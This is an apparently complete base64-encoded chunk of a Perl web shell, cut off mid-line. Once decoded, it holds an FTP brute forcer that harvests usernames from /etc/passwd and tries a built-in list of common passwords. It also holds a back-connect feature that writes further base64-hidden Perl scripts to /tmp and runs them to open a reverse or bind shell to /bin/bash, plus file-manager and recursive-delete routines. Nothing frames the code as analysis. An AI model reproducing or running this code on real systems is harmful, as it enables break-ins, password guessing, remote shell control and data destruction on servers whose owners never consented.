PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7 CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlm KG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICRE YXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9 CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQg Lj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4K IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRl IGZvcmNlcjxicj4KTm90ZTogT25seSBzY2FuIGZyb20gMSB0byAzIHVzZXIgOi1TPGJyPgojIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQ T1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l PSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+ PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1 bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VO RCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIg Y29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0 NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlz dHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1 NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIy MjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMx MjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1 NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwph ZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0Ah CmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRk IGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4K CjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+ Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFz cz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFi bGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUg Rm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1 bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAi IikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6 OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQo L1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJl c3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09 PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJy Pjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoJHVzZXJuYW1l IG5lICIiKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0 cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAk U2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29y ZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0 cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBh c3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJl YWs7CgkJCQkJfQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpCgkJCQkJewoJCQkJCQlzbGVl cChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJ CQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmlu aXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0K Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRh YmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRM b2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEi IHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNp emU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+Cgkg UG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVl PSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRo aXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlw ZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJ PC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50 IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0 IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3Jn LyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVu IHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48 L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJ PHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+ QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQi PjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNs aWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgn YmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRl eHQiIHNpemU9IjEyIiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9InZpbmFraWQiPjwvdGQ+Cgk8dGQ+ PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0 IiB2YWx1ZT0iQmluZCI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0z Pjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLgoJPGJyPlsrXSBUcnkgY29tbWFu ZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48 L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t CnN1YiBCYWNrQmluZAp7Cgl1c2UgU29ja2V0OwkKCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5 d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdp T3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWti R1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oy VjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1G aWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52 WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2di M0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlq c05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0Nr N0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0kr SmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVk Q0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVY TjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlB bld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRk SUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJ Q2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RR cGpiRzl6WlNCVFQwTkxSVlE3IjsKCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAx YzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRP dzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NU MGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBO TFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52 WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZ MnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1Uw VlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkds bElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2 Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBL RU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1Ux UkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxR aUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0ox Ym5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRl WE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFX NW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJR N1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05s S0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdE UXA5RFFvPSI7CgoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsKCSRDbGllbnRQb3J0 ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsKCWlmKCRDbGllbnRQb3J0IGVxIDApCgl7CgkJcmV0 dXJuICZCYWNrQmluZEZvcm07Cgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQoJewoJCSREYXRh PWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsKCQlpZigtdyAiL3RtcC8iKQoJCXsKCQkJJEZpbGU9 Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIu JFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJ cHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xp ZW50QWRkciAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfWVsc2UK CXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7CgkJaWYoLXcgIi90bXAiKQoJCXsK CQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJl bnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7 CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAk Q2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfQp9CiMtLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQpzdWIgUm1EaXIoJCkgCnsKCW15ICRkaXIgPSBzaGlmdDsKCWlmKG9wZW5kaXIoRElSLCRkaXIp KQoJewoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCXsKCQkJaWYoKCRmaWxlIG5lICIu IikgJiYgKCRmaWxlIG5lICIuLiIpKQoJCQl7CgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmls ZTsKCQkJCWlmKC1kICRmaWxlKQoJCQkJewoJCQkJCSZSbURpcigkZmlsZSk7CgkJCQl9CgkJCQll bHNlCgkJCQl7CgkJCQkJdW5saW5rKCRmaWxlKTsKCQkJCX0KCQkJfQoJCX0KCQljbG9zZWRpcihE SVIpOwoJfQp9CnN1YiBGaWxlT3duZXIoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRm aWxlKQoJewoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOwoJCWlmKCRXaW5OVCkK CQl7CgkJCXJldHVybiAiPz8/IjsKCQl9CgkJZWxzZQoJCXsKCQkJJG5hbWU9Z2V0cHd1aWQoJHVp ZCk7CgkJCSRncm91cD1nZXRncmdpZCgkZ2lkKTsKCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7 CgkJfQoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBQYXJlbnRGb2xkZXIoJCkKewoJbXkgJHBhdGgg PSBzaGlmdDsKCW15ICRDb21tID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgLi4i LiRDbWRTZXAuJENtZFB3ZDsKCWNob3AoJHBhdGggPSBgJENvbW1gKTsKCXJldHVybiAkcGF0aDsK fQpzdWIgRmlsZVBlcm1zKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkdXIgPSAiLSI7Cglt eSAkdXcgPSAiLSI7CglpZigtZSAkZmlsZSkKCXsKCQlpZigkV2luTlQpCgkJewoJCQlpZigtciAk ZmlsZSl7ICR1ciA9ICJyIjsgfQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQoJCQlyZXR1 cm4gJHVyIC4gIiAvICIgLiAkdXc7CgkJfWVsc2UKCQl7CgkJCSRtb2RlPShzdGF0KCRmaWxlKSlb Ml07CgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7CgkJCXJldHVy biAkcmVzdWx0OwoJCX0KCX0KCXJldHVybiAiMDAwMCI7Cn0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQo JCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkbGEpID0gKHN0YXQo JGZpbGUpKVs5XTsKCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwy LDFdOwoJCSR5ID0gJHkgKyAxOTAwOwoJCUBtb250aCA9IHF3LzEgMiAzIDQgNSA2IDcgOCA5IDEw IDExIDEyLzsKCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwk bW9udGhbJG1dLCR5LCRoLCRpKTsKCQlyZXR1cm4gJGxtdGltZTsKCX0KCXJldHVybiAiPz8/IjsK fQpzdWIgRmlsZVNpemUoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1mICRmaWxlKQoJewoJ CXJldHVybiAtcyAiJGZpbGUiOwoJfQoJcmV0dXJuICIwIjsKfQpzdWIgUGFyc2VGaWxlU2l6ZSgk KQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNp emUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRz aXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtC IjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0 IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJ bXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9c cyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5n ID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIg VHJpbVNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXC9cLy9c Ly9nOwoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3RE aXIKewoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOwoJbXkg JHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlv bj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250 LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48 aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJl bnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0 IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7Cglp ZigtZCAkcGF0aCkKCXsKCQlteSBAZm5hbWUgPSAoKTsKCQlteSBAZG5hbWUgPSAoKTsKCQlpZihv cGVuZGlyKERJUiwkcGF0aCkpCgkJewoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQkJ ewoJCQkJJGY9JHBhdGguJGZpbGU7CgkJCQlpZigtZCAkZikKCQkJCXsKCQkJCQlwdXNoKEBkbmFt ZSwkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOwoJ CQkJfQoJCQl9CgkJCWNsb3NlZGlyKERJUik7CgkJfQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkg Y21wIGxjKCRiKSB9IEBmbmFtZTsKCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikg fSBAZG5hbWU7CgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xp c3RkaXInPgoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUg TmFtZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPkZpbGUgU2l6ZTwvdGg+CgkJPHRoIHdpZHRoPScx NTAnPk93bmVyPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+CgkJPHRoIHdp ZHRoPScxNTAnPkxhc3QgTW9kaWZpZWQ8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3Ro PjwvdHI+IjsKCQlteSAkc3R5bGU9Im5vdGxpbmUiOwoJCW15ICRpPTA7CgkJZm9yZWFjaCBteSAk ZCAoQGRuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6 ICJsaW5lIjsKCQkJJGQgPSAmdHJpbSgkZCk7CgkJCSRkaXJuYW1lPSRkOwoJCQlpZigkZCBlcSAi Li4iKSAKCQkJewoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsKCQkJfQoJCQllbHNpZigk ZCBlcSAiLiIpIAoJCQl7CgkJCQluZXh0OwoJCQl9CgkJCWVsc2UgCgkJCXsKCQkJCSRkID0gJHBh dGguJGQ7CgkJCX0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmls ZV8kaScgY2xhc3M9J2Rpcic+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkZCkuIic+ WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7 CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQg Lj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlz LCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25j bGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMo JGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmll ZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9y 